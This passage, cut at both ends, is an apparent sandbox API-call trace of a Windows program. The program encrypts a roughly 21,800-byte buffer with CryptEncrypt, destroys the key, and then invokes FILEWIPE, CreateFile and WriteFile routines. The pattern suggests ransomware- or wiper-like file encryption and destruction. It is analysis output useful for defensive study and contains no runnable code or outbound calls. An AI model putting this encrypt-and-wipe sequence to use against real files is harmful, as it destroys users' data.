dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0022.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0xe8f417b020, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0022.256] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0022.256] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064c10, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c10*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0022.257] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.257] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.258] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.258] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.258] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.258] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.258] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.258] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.258] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.258] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.258] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.258] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.258] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.258] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.258] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.258] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.258] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.258] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.258] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.258] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.258] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.258] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.259] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.259] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.259] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.259] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x551a, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x5520) returned 1 [0022.259] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.259] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.259] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.259] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.259] CharLowerBuffW (in: lpsz="byte[21793]", cchLength=0xb | out: lpsz="byte[21793]") returned 0xb [0022.259] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.259] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.259] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.259] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.259] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.259] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41cb430*, pdwDataLen=0xe8f3dfdf68*=0x551a, dwBufLen=0x5520 | out: pbData=0xe8f41cb430*, pdwDataLen=0xe8f3dfdf68*=0x5520) returned 1 [0022.260] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.260] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.260] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.260] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.260] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.260] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.260] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.260] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.260] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.260] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.260] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.260] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.260] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.260] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.260] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.260] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.260] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.263] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.263] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.263] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.263] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.264] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.264] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0022.264] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.264] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.264] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0022.264] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.264] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0022.264] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.264] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.264] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.264] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.264] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.264] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.264] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.264] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.264] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.264] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0022.264] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.264] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.264] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.264] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.264] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.264] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.264] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.264] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.264] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.264] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.264] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.264] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.264] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.264] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.264] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.265] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.265] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.265] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.265] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.265] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0022.265] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.265] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.265] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.265] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.265] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.265] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.265] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.266] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.266] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.267] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0022.267] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.267] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.267] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.267] CharLowerBuffW (in: lpsz="byte[21786]", cchLength=0xb | out: lpsz="byte[21786]") returned 0xb [0022.267] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.267] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0022.267] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.267] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0022.267] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.267] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.267] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.267] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0022.267] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.267] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.267] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.267] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.267] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.267] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.267] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.267] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.267] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.267] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.267] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.267] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.267] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.267] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.268] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.268] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.268] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0022.269] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.269] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.269] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.269] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0022.269] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.269] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.269] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.269] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.269] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.269] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.269] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0022.269] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, 